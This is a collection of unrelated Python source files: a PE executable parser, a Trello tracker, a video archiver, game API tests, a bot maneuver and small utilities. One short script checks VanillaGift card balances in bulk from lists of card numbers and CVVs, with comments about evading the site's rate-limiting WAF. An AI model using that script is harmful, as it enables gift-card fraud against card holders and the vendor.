),\n ( uint16, 'SwapMinimumSize' ),\n ( NE_Version, 'ExpectedVersion' )\n ]\n\n### FileBase\nclass File(pstruct.type, ptype.boundary):\n def __Padding(self):\n dos = self['Header'].li\n ofs = dos['e_lfarlc'].int()\n return dyn.block(ofs - self.blocksize()) if ofs > 0 else dyn.block(0)\n\n def __Relocations(self):\n dos = self['Header'].li\n ofs = dos['e_lfarlc'].int()\n return dyn.array(Dos.Relocation, dos['e_crlc'].li.int() if ofs == self.blocksize() else 0)\n\n def __Extra(self):\n res = self['Header'].li.headersize()\n if res > 0:\n return dyn.block(res - self.blocksize())\n return ptype.undefined\n\n def __Stub(self):\n # everything up to e_lfanew\n dos = self['Header'].li\n res = dos['e_lfanew'].int()\n if res > 0:\n return dyn.block(res - self.blocksize())\n return ptype.undefined\n\n def __Next(self):\n dos = self['Header'].li\n if dos['e_lfanew'].int() == self.blocksize():\n return Next\n return dyn.block(dos.filesize() - self.blocksize())\n\n def __NotLoaded(self):\n sz = self['Header'].blocksize()\n sz+= self['Extra'].blocksize()\n sz+= self['Stub'].blocksize()\n sz+= self['Next'].blocksize()\n if isinstance(self.source, ptypes.provider.bounded):\n return dyn.block(self.source.size() - sz)\n return ptype.undefined\n\n _fields_ = [\n (IMAGE_DOS_HEADER, 'Header'),\n (__Extra, 'Extra'),\n (__Stub, 'Stub'),\n (__Next, 'Next'),\n #(__NotLoaded, 'NotLoaded'),\n ]\n\nif __name__ == '__main__':\n import sys\n import ptypes, pecoff.Executable\n if len(sys.argv) == 2:\n filename = sys.argv[1]\n ptypes.setsource(ptypes.prov.file(filename, 'rb'))\n z = pecoff.Executable.File()\n z=z.l\n else:\n filename = 'obj/kernel32.dll'\n ptypes.setsource(ptypes.prov.file(filename, 'rb'))\n for x in range(10):\n print(filename)\n try:\n z = pecoff.Executable.File()\n z=z.l\n break\n except IOError:\n pass\n filename = '../'+filename\n\n v=z['next']['header']\n sections = v['Sections']\n exports = v['DataDirectory'][0]\n while exports['Address'].int() != 0:\n exports = exports['Address'].d.l\n print(exports.l)\n break\n\n imports = v['DataDirectory'][1]\n while imports['Address'].int() != 0:\n imports = imports['Address'].d.l\n print(imports.l)\n break\n\n relo = v['DataDirectory'][5]['Address'].d.l\n baseaddress = v['OptionalHeader']['ImageBase']\n section = sections[0]\n data = section.data().serialize()\n for item in relo.filter(section):\n for type, offset in item.getrelocations(section):\n print(type, offset)\n continue\n\n", "source": "arizvisa/syringe", "license": "BSD-2-Clause"} {"text": "from requests_html import HTMLSession\nfrom sys import argv\n\nif len(argv) != 2:\n\n\tprint(\"Usage: python3 VanillaGift.py VanillaGift.txt\")\n\nelse: # VanillaGift card balance checker\n\n\tfor card in reversed(list(open(argv[1]))):\n\n\t\tcardNumber, expMonth, expYear, cvv = card.rstrip().split(':')\n\n\t\tc = cardNumber + ' ' + expMonth + ' ' + expYear + ' ' + cvv\n\n\t\tua = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\" + \\\n\t\t\t\"/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36\"\n\n\t\twith HTMLSession() as s:\n\n\t\t\ts.get('https://www.vanillagift.com/',\n\t\t\t\theaders={'User-Agent': ua},\n\t\t\t\ttimeout=15) # get incapsula cookie, bypasses rate limiting waf?\n\n\t\t\tx = s.post(\"https://www.vanillagift.com/loginCard\",\n\t\t\t\theaders={'User-Agent': ua},\n\t\t\t\tdata={\n\t\t\t\t\t'cardNumber': cardNumber,\n\t\t\t\t\t'expMonth': expMonth,\n\t\t\t\t\t'expYear': expYear,\n\t\t\t\t\t'cvv': cvv,\n\t\t\t\t\t'origin': 'homeLogin' # this one isn't required...\n\t\t\t\t\t}, # ...but may help to look more nonchalant...\n\t\t\t\ttimeout=15)\n\n\t\t\ttry: \n\n\t\t\t\tb = x.html.find('div.SSaccountAmount', first=True).text\n\n\t\t\t\tprint(b, c)\n\n\t\t\texcept: \n\n\t\t\t\tprint(\"$.err\", c)", "source": "ytcrackers/Vanilla-Card-Balance-Checkers", "license": "MIT"} {"text": "###############################################################################\n# Utils functions for language models.\n#\n# NOTE: source from https://github.com/litian96/FedProx\n###############################################################################\n\nALL_LETTERS = \"\\n !\\\"&'(),-.0123456789:;>?ABCDEFGHIJKLMNOPQRSTUVWXYZ[]abcdefghijklmnopqrstuvwxyz}\"\nNUM_LETTERS = len(ALL_LETTERS)\n\n\ndef _one_hot(index, size):\n '''returns one-hot vector with given size and value 1 at given index\n '''\n vec = [0 for _ in range(size)]\n vec[int(index)] = 1\n return vec\n\n\ndef letter_to_vec(letter):\n '''returns one-hot representation of given letter\n '''\n index = ALL_LETTERS.find(letter)\n return _one_hot(index, NUM_LETTERS)\n\n\ndef word_to_indices(word):\n '''returns a list of character indices\n\n Args:\n word: string\n\n Return:\n indices: int list with length len(word)\n '''\n indices = []\n for c in word:\n indices.append(ALL_LETTERS.find(c))\n return indices\n", "source": "cshjin/fedsimul", "license": "MIT"} {"text": "import sys\nimport json\nimport os\nimport platform\nimport subprocess\nimport contextlib\nimport requests\n\n\nCHECKLIST_NAME = 'Commands'\nICON_READY, ICON_IP, ICON_DONE, ICON_FAIL = '\u26aa', '\u231b', '\ud83d\udd35', '\ud83d\udd34'\n\n\n_CREDS = None\ndef CREDS():\n global _CREDS\n if _CREDS is None:\n c = {}\n if os.path.exists(os.path.expanduser('~/.trello')):\n c.update(json.load(open(os.path.expanduser('~/.trello'), 'rt')))\n if os.path.exists('./.trello'):\n c.update(json.load(open('./.trello', 'rt')))\n if 'TRELLO_TOKEN' in os.environ:\n c['token'] = os.environ['TRELLO_TOKEN']\n if 'TRELLO_KEY' in os.environ:\n c['key'] = os.environ['TRELLO_KEY']\n if 'key' not in c or 'token' not in c:\n raise RuntimeError('Missing Trello `key` and `token`. Please provide as JSON in ~/.trello, '\n './.trello, or as TRELLO_KEY and TRELLO_TOKEN environment vars.\\n\\n'\n 'You can find your key and generate a token at https://trello.com/app-key')\n _CREDS = c\n return _CREDS\n\n\ndef _api(method, path, params=None):\n C = CREDS()\n params = params or {}\n params = {**params, 'key': C['key'], 'token': C['token']}\n return json.loads(requests.request(method, path, params=params).text)\n\n\nclass TrelloTracker:\n def __init__(self, desc, card_id=None, _start_in_progress=False):\n if card_id is None:\n card_id = os.environ.get('TRELLO_CARD')\n if card_id is None:\n sys.stderr.write('TRELLO: No card supplied. This operation will not be tracked.\\n')\n self.state = 'NO_TRACK'\n else:\n # Find card\n matching_cards = _api(\"GET\", \"https://trello.com/1/search\", {'query': card_id})\n card = None\n for c in matching_cards['cards']:\n if card_id in (c['id'], c['shortLink']):\n card = c\n break\n if card is None:\n sys.stderr.write('TRELLO: Could not find card: {}. This operation will not be tracked.\\n'.format(card_id))\n self.state = 'NO_TRACK'\n else:\n all_checklists = _api(\"GET\", \"https://api.trello.com/1/cards/{id}/checklists\".format(**card))\n checklist = [c for c in all_checklists if c['name'] == CHECKLIST_NAME]\n if len(checklist) == 1:\n checklist = checklist[0]\n else:\n checklist = _api(\n \"POST\",\n \"https://api.trello.com/1/cards/{id}/checklists\".format(**card),\n {'name': CHECKLIST_NAME})\n icon = ICON_IP if _start_in_progress else ICON_READY\n check_item = _api(\n \"POST\",\n \"https://api.trello.com/1/checklists/{id}/checkItems\".format(**checklist),\n {'name': '{} {}'.format(icon, desc)})\n self.state = 'IP' if _start_in_progress else 'READY'\n self.desc = desc\n self.card = card\n self.check_item = check_item\n\n def __enter__(self):\n assert self.state in ('IP', 'READY', 'NO_TRACK')\n if self.state == 'READY':\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_IP, self.desc)})\n self.state = 'IP'\n return self\n\n def __exit__(self, ex_type, ex_val, ex_traceback):\n assert self.state in ('IP', 'NO_TRACK')\n if self.state == 'NO_TRACK':\n return\n if ex_type:\n self.state = 'FAIL'\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_FAIL, self.desc)})\n _api(\"POST\",\n \"https://api.trello.com/1/cards/{id}/actions/comments\".format(**self.card),\n {'text': '{} failed with exception:\\n`{}`'.format(self.desc, ex_val)})\n else:\n self.state = 'DONE'\n _api(\"PUT\",\n \"https://api.trello.com/1/cards/{}/checkItem/{}\".format(self.card['id'], self.check_item['id']),\n {'state': 'complete', 'name': '{} {}'.format(ICON_DONE, self.desc)})\n\n\n@contextlib.contextmanager\ndef track(desc, card_id=None):\n with TrelloTracker(desc, card_id, _start_in_progress=True) as tracker:\n yield tracker\n\n\nclass TaskManager:\n def __init__(self, card_id=None):\n if card_id is None:\n card_id = os.environ.get('TRELLO_CARD')\n self.card_id = card_id\n self.tasks = []\n\n def add_task(self, desc, fn):\n self.tasks.append((desc, fn))\n\n def run(self):\n trackers = []\n for desc, _ in self.tasks:\n trackers.append(TrelloTracker(desc, self.card_id))\n for tracker, (_, fn) in zip(trackers, self.tasks):\n with tracker:\n fn()\n\n def clear(self):\n self.tasks.clear()\n\n def __enter__(self):\n return self\n\n def __exit__(self, ex_type, ex_val, ex_traceback):\n if ex_type:\n self.run()\n self.clear()\n\n\ndef main_cli():\n main(sys.argv[1:])\n\n\ndef main(argv):\n assert len(argv) >= 2, \"usage: [card_id] [command...]\"\n card_id, args = argv[0], argv[1:]\n cmd = ' '.join((a if ' ' not in a else f'\"{a}\"') for a in args)\n with track(card_id=card_id, desc=f'@{platform.node()} `{cmd}`'):\n p = subprocess.Popen(args)\n while True:\n try:\n return_code = p.wait()\n if return_code != 0:\n raise subprocess.CalledProcessError(return_code, args)\n break\n except KeyboardInterrupt:\n pass\n\n\n\nif __name__ == '__main__':\n main_cli()\n", "source": "seanmacavaney/trello-track", "license": "MIT"} {"text": "#!/usr/bin/python\n\n\"\"\"A concise tool for archiving video as it is recorded.\n\"\"\"\nimport os, time, argparse\nimport subprocess32 as subprocess\nfrom socket import gethostname\nimport dvrutils\n\ndef read_archive_config(fName):\n with open(fName, 'r') as f:\n flines = f.readlines()\n \n streams = [] # [{'StreamName': , 'VideoPath': , 'ArchivePath': },...]\n for line in flines:\n if line[0] != '#': # ignore comment lines\n sName = line.split('#')[0].strip() if '#' in line else line.strip()\n if len(sName) > 0:\n streams.append({'StreamName': sName, 'VideoPath': '', 'ArchivePath': ''})\n \n return streams\n\nclass StreamArchiver:\n def __init__(self, logger, dvrName, streamListFile='videoarchiver.cfg', storagePath='/mnt/video', archivePath='/mnt/archive'):\n self.logger = logger\n self.dvrName = dvrName\n self.streamListFile = os.path.join(archivePath,streamListFile)\n self.storagePath = storagePath\n self.archivePath = archivePath\n if os.path.exists(self.streamListFile):\n self.streams = read_archive_config(self.streamListFile)\n self.check_directories()\n else:\n self.logger.error(\"The specified configuration file {} cannot be found!\".format(self.streamListFile))\n \n def check_directories(self):\n # check which streams this computer has and make sure the directories are set up right\n goodStreams = []\n for s in self.streams:\n s['VideoPath'] = os.path.join(self.storagePath,s['StreamName'])\n \n if os.path.isdir(s['VideoPath']): # if we have this stream\n #s['ArchivePath'] = os.path.join(self.archivePath,s['StreamName'])\n s['ArchivePath'] = self.archivePath\n if not os.path.isdir(s['ArchivePath']): # if the stream has no directory in the archive, then make it\n if os.path.exists(s['ArchivePath']):\n s['ArchivePath'] = dvrutils.get_unique_filename(s['ArchivePath'],nZeros=0) # if there is a file with the same name for whatever reason, change the directory name\n os.makedirs(s['ArchivePath'])\n if self.logger is not None:\n self.logger.info('Created directory {} for stream {}!'.format(s['ArchivePath'],s['StreamName']))\n goodStreams.append(s)\n else: # if we don't, give a debug message for the user\n if self.logger is not None:\n self.logger.debug(\"Ignoring stream {} as it does not exist on this system.\".format(s['StreamName']))\n self.streams = goodStreams\n \n def sync_streams(self):\n # sync the streams one at a time to minimize fragmentation (NOTE: Eventually this will be pull-based, so there will be no fragmentation)\n for s in self.streams:\n # use rsync to perform the copy\n syncCmd = ['rsync', '-rlptg', s['VideoPath'], s['ArchivePath']] # r = recurse; l = symlinks as symlinks; preserve: p = permissions, t = modification times, g = group\n if self.logger is not None:\n self.logger.info(\"Syncing video for stream {} in {} to archive at {}...\".format(s['StreamName'], s['VideoPath'], s['ArchivePath']))\n self.logger.debug(\"Syncing with the command: {}\".format(syncCmd))\n startTime = time.time()\n subprocess.call(syncCmd)\n elapsedTime = time.time() - startTime\n if self.logger is not None:\n self.logger.info(\"Sync for stream {} took {} seconds.\".format(s['StreamName'], elapsedTime))\n \n def start_sync_daemon(self, timeOfDay='1:00'):\n # repeatedly sync streams on a schedule as determined by the timeOfDay parameter\n # timeOfDay is a time string in HH:MM format\n # by default it will sync at 1:00 AM every day\n try:\n syncHour, syncMin = [int(t) for t in timeOfDay.split(':')]\n except:\n syncHour, syncMin = 1, 0 # use default if the user input an incorrect time string\n self.logger.warning(\"Invalid time string: '{}'! Reverting to default! This is probably not what you wanted!\".format(timeOfDay))\n \n self.logger.info(\"Going to sync daily at {}:{}\".format(syncHour, syncMin))\n self.syncHistory = {int(time.strftime('%Y%m%d')): False} # save a log to know if we have synced today or not\n while True:\n dayKey = int(time.strftime('%Y%m%d'))\n if dayKey not in self.syncHistory: # if this is a new day, put an entry in the log so we know that it's a new day and we need to watch for the sync time\n self.syncHistory.update({dayKey: False})\n \n if not self.syncHistory[dayKey]: # if we haven't synced yet today, check the time to see if we should\n currTime = time.localtime()\n syncNow = False\n if currTime.tm_hour > syncHour:\n syncNow = True\n elif currTime.tm_hour == syncHour and currTime.tm_min >= syncMin:\n syncNow = True\n \n if syncNow: # if we should, sync files and log the event\n self.sync_streams()\n self.syncHistory[dayKey] = True\n \n # if we already synced today, we don't need to do anything\n time.sleep(5)\n \nif __name__ == \"__main__\":\n # parse any arguments passed in\n parser = argparse.ArgumentParser(prog='videoarchiver.py', usage='%(prog)s [configFilename]', description='Archives/backs up video from predefined camera streams to a defined location.')\n parser.add_argument('streamListFile', help = '(Optional) Name of the configuration file to defining streams to backup (defaults to archivePath/dvrName).')\n parser.add_argument('-t', '--time-of-day', dest = 'timeOfDay', default = '1:00', help = '(Optional) Time of day to perform the backup (HH:MM, 24-hour format) (default: %(default)s).')\n parser.add_argument('-l', '--log-file', dest = 'logFilename', default = 'videoarchiver.cfg', help = '(Optional) Name of the file for logging (default: %(default)s).')\n parser.add_argument('-v', '--loglevel', dest = 'loglevel', default = 'INFO', help = '(Optional) streamrecorder log level (does not affect FFMPEG log level). Specify numeric values (10, 20, 30, etc.) or strings like DEBUG or WARNING')\n parser.add_argument('-s', '--storage-path', dest = 'storagePath', default = '/mnt/video', help = '(Optional) Location of the archive directory (default: %(default)s).')\n parser.add_argument('-a', '--archive-path', dest = 'archivePath', default = '/mnt/archive', help = '(Optional) Location of the archive directory (default: %(default)s).')\n parser.add_argument('-d', '--dvr-name', dest = 'dvrName', default = gethostname(), help = '(Optional) Name of the computer recording the stream (defaults to hostname: %(default)s).')\n args = parser.parse_args()\n \n # setup logging\n logFilePath = os.path.join(args.archivePath, \"{}.log\".format(args.dvrName)) if args.logFilename is None else args.logFilename # by default, log to file: archivePath/dvrName.log\n logger = dvrutils.setup_logging(logFilePath, args.loglevel, args.dvrName, logToFile=True, logToStdout=True) # this function will output the loglevel for verification\n \n try:\n # create the archiver object, which makes sure things are set up correctly\n streamArchiver = StreamArchiver(logger, args.dvrName, args.streamListFile, args.storagePath, args.archivePath)\n \n # start the daemon\n streamArchiver.start_sync_daemon(args.timeOfDay)\n except:\n # if there was a crash, log it\n # TODO: send an email alert (once it works)\n logger.error(\"The program crashed unexpectedly!\")\n ", "source": "yannisHD/StreamRecorder", "license": "MIT"} {"text": "from pixelstarshipsapi import PixelStarshipsApi\nfrom run import push_context\n\n\ndef test_login():\n pixel_starships_api = PixelStarshipsApi()\n\n device_key, device_checksum = pixel_starships_api.generate_device()\n token = pixel_starships_api.get_device_token(device_key, device_checksum)\n\n assert isinstance(token, str)\n assert len(token) == 36\n\n\ndef test_settings():\n pixel_starships_api = PixelStarshipsApi()\n\n settings = pixel_starships_api.get_api_settings()\n\n assert 'ProductionServer' in settings\n assert 'MaintenanceMessage' in settings\n\n\ndef test_inspect_ship():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n user_id = 6635604 # Solevis\n inspect_ship = pixel_starships_api.inspect_ship(user_id)\n\n # Player\n user = inspect_ship['User']\n assert 'Id' in user\n assert 'Name' in user\n assert 'IconSpriteId' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n assert 'Trophy' in user\n assert 'LastAlertDate' in user\n\n # Ship\n ship = inspect_ship['Ship']\n assert 'ShipDesignId' in ship\n assert 'ImmunityDate' in ship\n assert 'ShipStatus' in ship\n assert 'OriginalRaceId' in ship\n\n # Room\n room = inspect_ship['Ship']['Rooms'][0]\n assert 'RoomId' in room\n assert 'Row' in room\n assert 'Column' in room\n assert 'ConstructionStartDate' in room\n\n\ndef test_dailies():\n pixel_starships_api = PixelStarshipsApi()\n dailies = pixel_starships_api.get_dailies()\n\n assert len(dailies) > 0\n\n # Shop\n assert 'LimitedCatalogCurrencyAmount' in dailies\n assert 'LimitedCatalogType' in dailies\n assert 'LimitedCatalogArgument' in dailies\n assert 'LimitedCatalogCurrencyType' in dailies\n assert 'LimitedCatalogQuantity' in dailies\n assert 'LimitedCatalogMaxTotal' in dailies\n assert 'LimitedCatalogExpiryDate' in dailies\n\n # Blue cargo\n assert 'CommonCrewId' in dailies\n assert 'HeroCrewId' in dailies\n\n # Green cargo\n assert 'CargoItems' in dailies\n assert 'CargoPrices' in dailies\n\n # Daily reward\n assert 'DailyRewardArgument' in dailies\n assert 'DailyRewardType' in dailies\n assert 'DailyItemRewards' in dailies\n\n # Sale\n assert 'SaleType' in dailies\n assert 'SaleArgument' in dailies\n assert 'SaleItemMask' in dailies\n\n # News messages\n assert 'News' in dailies\n assert 'NewsUpdateDate' in dailies\n assert 'TournamentNews' in dailies\n assert 'NewsSpriteId' in dailies\n\n\ndef test_sprites():\n pixel_starships_api = PixelStarshipsApi()\n sprites = pixel_starships_api.get_sprites()\n\n assert len(sprites) > 0\n\n sprite = sprites[0]\n\n assert 'SpriteId' in sprite\n assert 'ImageFileId' in sprite\n assert 'X' in sprite\n assert 'Y' in sprite\n assert 'Width' in sprite\n assert 'Height' in sprite\n assert 'SpriteKey' in sprite\n\n\ndef test_ships():\n pixel_starships_api = PixelStarshipsApi()\n ships = pixel_starships_api.get_ships()\n\n assert len(ships) > 0\n\n ship = ships[0]\n assert 'ShipDesignName' in ship\n assert 'ShipDescription' in ship\n assert 'ShipLevel' in ship\n assert 'Hp' in ship\n assert 'RepairTime' in ship\n assert 'InteriorSpriteId' in ship\n assert 'ExteriorSpriteId' in ship\n assert 'LogoSpriteId' in ship\n assert 'MiniShipSpriteId' in ship\n assert 'RoomFrameSpriteId' in ship\n assert 'DoorFrameLeftSpriteId' in ship\n assert 'DoorFrameRightSpriteId' in ship\n assert 'Rows' in ship\n assert 'Columns' in ship\n assert 'RaceId' in ship\n assert 'Mask' in ship\n assert 'MineralCost' in ship\n assert 'StarbuxCost' in ship\n assert 'MineralCapacity' in ship\n assert 'GasCapacity' in ship\n assert 'EquipmentCapacity' in ship\n assert 'ShipType' in ship\n\n\ndef test_researches():\n pixel_starships_api = PixelStarshipsApi()\n researches = pixel_starships_api.get_researches()\n\n assert len(researches) > 0\n\n research = researches[0]\n assert 'ResearchName' in research\n assert 'ResearchDescription' in research\n assert 'GasCost' in research\n assert 'StarbuxCost' in research\n assert 'RequiredLabLevel' in research\n assert 'ResearchTime' in research\n assert 'LogoSpriteId' in research\n assert 'ImageSpriteId' in research\n assert 'RequiredResearchDesignId' in research\n assert 'ResearchDesignType' in research\n\n\ndef test_rooms():\n pixel_starships_api = PixelStarshipsApi()\n rooms = pixel_starships_api.get_rooms()\n\n assert len(rooms) > 0\n\n room = rooms[0]\n assert 'RoomName' in room\n assert 'RoomShortName' in room\n assert 'RoomType' in room\n assert 'Level' in room\n assert 'Capacity' in room\n assert 'Rows' in room\n assert 'Columns' in room\n assert 'ImageSpriteId' in room\n assert 'ConstructionSpriteId' in room\n assert 'MaxSystemPower' in room\n assert 'MaxPowerGenerated' in room\n assert 'MinShipLevel' in room\n assert 'UpgradeFromRoomDesignId' in room\n assert 'DefaultDefenceBonus' in room\n assert 'ReloadTime' in room\n assert 'RefillUnitCost' in room\n assert 'RoomType' in room\n assert 'PriceString' in room\n assert 'PriceString' in room\n assert 'ConstructionTime' in room\n assert 'RoomDescription' in room\n assert 'ManufactureType' in room\n\n room_with_missile_design = None\n for room in rooms:\n if room['MissileDesign']:\n room_with_missile_design = room\n break\n\n assert room_with_missile_design\n assert 'SystemDamage' in room_with_missile_design['MissileDesign']\n assert 'HullDamage' in room_with_missile_design['MissileDesign']\n assert 'CharacterDamage' in room_with_missile_design['MissileDesign']\n\n room_with_purchase = None\n for room in rooms:\n if room['AvailabilityMask']:\n room_with_purchase = room\n break\n\n assert room_with_purchase\n assert 'AvailabilityMask' in room_with_purchase\n\n\ndef test_characters():\n pixel_starships_api = PixelStarshipsApi()\n characters = pixel_starships_api.get_characters()\n\n assert len(characters) > 0\n\n character = characters[0]\n assert 'CharacterDesignName' in character\n assert 'ProfileSpriteId' in character\n assert 'Rarity' in character\n assert 'Hp' in character\n assert 'FinalHp' in character\n assert 'Pilot' in character\n assert 'FinalPilot' in character\n assert 'Attack' in character\n assert 'FinalAttack' in character\n assert 'Repair' in character\n assert 'FinalRepair' in character\n assert 'Weapon' in character\n assert 'FinalWeapon' in character\n assert 'Engine' in character\n assert 'FinalEngine' in character\n assert 'Research' in character\n assert 'FinalResearch' in character\n assert 'Science' in character\n assert 'FinalScience' in character\n assert 'SpecialAbilityArgument' in character\n assert 'SpecialAbilityFinalArgument' in character\n assert 'SpecialAbilityType' in character\n assert 'FireResistance' in character\n assert 'WalkingSpeed' in character\n assert 'RunSpeed' in character\n assert 'TrainingCapacity' in character\n assert 'ProgressionType' in character\n assert 'CollectionDesignId' in character\n assert 'EquipmentMask' in character\n\n parts = character['CharacterParts']\n assert 'StandardSpriteId' in parts['Head']\n assert 'StandardSpriteId' in parts['Body']\n assert 'StandardSpriteId' in parts['Leg']\n\n\ndef test_collections():\n pixel_starships_api = PixelStarshipsApi()\n collections = pixel_starships_api.get_collections()\n\n assert len(collections) > 0\n\n collection = collections[0]\n assert 'CollectionName' in collection\n assert 'MinCombo' in collection\n assert 'MaxCombo' in collection\n assert 'BaseEnhancementValue' in collection\n assert 'SpriteId' in collection\n assert 'StepEnhancementValue' in collection\n assert 'IconSpriteId' in collection\n\n\ndef test_items():\n pixel_starships_api = PixelStarshipsApi()\n items = pixel_starships_api.get_items()\n\n assert len(items) > 0\n\n item = items[0]\n assert 'ItemDesignName' in item\n assert 'ItemDesignDescription' in item\n assert 'ImageSpriteId' in item\n assert 'ItemSubType' in item\n assert 'EnhancementType' in item\n assert 'Ingredients' in item\n assert 'Content' in item\n assert 'MarketPrice' in item\n assert 'FairPrice' in item\n assert 'ItemDesignId' in item\n assert 'ItemType' in item\n assert 'Rarity' in item\n assert 'EnhancementValue' in item\n\n\ndef test_alliances():\n pixel_starships_api = PixelStarshipsApi()\n alliances = pixel_starships_api.get_alliances(42)\n\n assert len(alliances) == 42\n\n alliance = alliances[0]\n assert 'AllianceId' in alliance\n assert 'AllianceName' in alliance\n\n\ndef test_sales():\n pixel_starships_api = PixelStarshipsApi()\n sales = pixel_starships_api.get_sales(131, 0, 1) # Scratchy\n\n assert len(sales) == 1\n\n sale = sales[0]\n assert 'SaleId' in sale\n assert 'StatusDate' in sale\n assert 'Quantity' in sale\n assert 'CurrencyType' in sale\n assert 'CurrencyValue' in sale\n assert 'BuyerShipId' in sale\n assert 'BuyerShipName' in sale\n assert 'BuyerShipName' in sale\n assert 'SellerShipId' in sale\n assert 'SellerShipName' in sale\n assert 'ItemId' in sale\n\n\ndef test_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n users = pixel_starships_api.get_users() # top 10\n assert len(users) == 100\n\n user = users[0]\n assert 'Id' in user\n assert 'Name' in user\n assert 'Trophy' in user\n assert 'AllianceId' in user\n assert 'LastLoginDate' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n\n\ndef test_alliance_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n\n alliance_id = 9343 # Trek Federation\n users = pixel_starships_api.get_alliance_users(alliance_id)\n assert len(users) > 0\n\n user = users[0]\n assert 'Id' in user\n assert 'Name' in user\n assert 'Trophy' in user\n assert 'AllianceId' in user\n assert 'LastLoginDate' in user\n assert 'AllianceName' in user\n assert 'AllianceSpriteId' in user\n\n\ndef test_prestiges_character_to():\n pixel_starships_api = PixelStarshipsApi()\n\n character_id = 196 # PinkZilla\n prestiges = pixel_starships_api.get_prestiges_character_to(character_id)\n assert len(prestiges) > 0\n\n prestige = prestiges[0]\n assert 'CharacterDesignId1' in prestige\n assert 'CharacterDesignId2' in prestige\n\n\ndef test_prestiges_character_from():\n pixel_starships_api = PixelStarshipsApi()\n\n character_id = 338 # Zongzi-Man\n prestiges = pixel_starships_api.get_prestiges_character_from(character_id)\n assert len(prestiges) > 0\n\n prestige = prestiges[0]\n assert 'CharacterDesignId1' in prestige\n assert 'CharacterDesignId2' in prestige\n\n\ndef test_rooms_purchase():\n pixel_starships_api = PixelStarshipsApi()\n rooms_purchase = pixel_starships_api.get_rooms_purchase()\n\n assert len(rooms_purchase) > 0\n\n room_purchase = rooms_purchase[0]\n assert 'RoomDesignId' in room_purchase\n assert 'AvailabilityMask' in room_purchase\n\n\ndef test_search_users():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n user_name_to_search = 'Solevis'\n users = pixel_starships_api.search_users(user_name_to_search, True)\n\n assert len(users) == 1\n\n user = users[0]\n assert 'Name' in user\n assert user['Name'] == user_name_to_search\n\n assert 'PVPAttackWins' in user\n assert 'PVPAttackLosses' in user\n assert 'PVPAttackDraws' in user\n assert 'PVPDefenceDraws' in user\n assert 'PVPDefenceWins' in user\n assert 'PVPDefenceLosses' in user\n assert 'HighestTrophy' in user\n assert 'CrewDonated' in user\n assert 'CrewReceived' in user\n assert 'AllianceJoinDate' in user\n assert 'CreationDate' in user\n\n\ndef test_trainings():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n trainings = pixel_starships_api.get_trainings()\n\n assert len(trainings) > 0\n\n training = trainings[0]\n\n assert 'TrainingDesignId' in training\n assert 'TrainingSpriteId' in training\n assert 'HpChance' in training\n assert 'AttackChance' in training\n assert 'PilotChance' in training\n assert 'RepairChance' in training\n assert 'WeaponChance' in training\n assert 'ScienceChance' in training\n assert 'EngineChance' in training\n assert 'StaminaChance' in training\n assert 'AbilityChance' in training\n assert 'XpChance' in training\n assert 'Fatigue' in training\n assert 'MinimumGuarantee' in training\n\n\ndef test_achievements():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n achievements = pixel_starships_api.get_achievements()\n\n assert len(achievements) > 0\n\n achievement = achievements[0]\n\n assert 'AchievementDesignId' in achievement\n assert 'AchievementTitle' in achievement\n assert 'AchievementDescription' in achievement\n assert 'SpriteId' in achievement\n assert 'RewardString' in achievement\n assert 'ParentAchievementDesignId' in achievement\n\n\ndef test_situations():\n # avoid Flask RuntimeError: No application found\n push_context()\n\n pixel_starships_api = PixelStarshipsApi()\n situations = pixel_starships_api.get_situations()\n\n assert len(situations) > 0\n\n situation = situations[0]\n\n assert 'SituationDesignId' in situation\n assert 'SituationName' in situation\n assert 'SituationDescription' in situation\n assert 'FromDate' in situation\n assert 'EndDate' in situation\n assert 'IconSpriteId' in situation\n", "source": "solevis/pixyship2", "license": "MIT"} {"text": "from maneuvers.kit import *\r\n\r\nfrom maneuvers.driving.arrive import Arrive\r\n\r\nclass FastRecovery(Maneuver):\r\n def __init__(self, car: Car):\r\n super().__init__(car)\r\n\r\n self.turn = AerialTurn(car, look_at(vec3(0, 0, -1)))\r\n self.landing = False\r\n\r\n def step(self, dt):\r\n self.turn.step(dt)\r\n self.controls = self.turn.controls\r\n self.controls.throttle = 1\r\n\r\n if self.landing:\r\n self.turn.find_landing_orientation(200)\r\n else:\r\n if angle_between(self.car.forward(), vec3(0, 0, -1)) < 0.5:\r\n self.controls.boost = 1\r\n else:\r\n self.controls.boost = 0\r\n\r\n if distance(self.car, self.find_landing_pos()) < clamp(norm(self.car.vel), 600, 2300):\r\n self.landing = True\r\n self.turn = AerialTurn(self.car)\r\n\r\n self.finished = self.car.on_ground\r\n\r\n def find_landing_pos(self, num_points=200, dt=0.0333) -> vec3:\r\n dummy = Car(self.car)\r\n for i in range(0, num_points):\r\n dummy.step(Input(), dt)\r\n dummy.time += dt\r\n n = dummy.pitch_surface_normal()\r\n if norm(n) > 0.0 and i > 10:\r\n return dummy.pos\r\n return self.car.pos\r\n ", "source": "DaCoolOne/RLBotPack", "license": "MIT"} {"text": "import warnings\nimport os\nfrom importlib import import_module\n\npackages = ['sklearn', 'nibabel', 'numpy',\n 'matplotlib', 'skbold', 'niwidgets', 'scipy']\n\nwarnings.filterwarnings(\"ignore\")\n\nfor package in packages:\n try:\n import_module(package)\n print('%s was succesfully installed!' % package)\n\n except ImportError:\n print('\\nCould not find package %s' % package)\n cmd = \"pip install %s\" % package\n print('Install %s using the command: %s\\n' % (package, cmd))\n", "source": 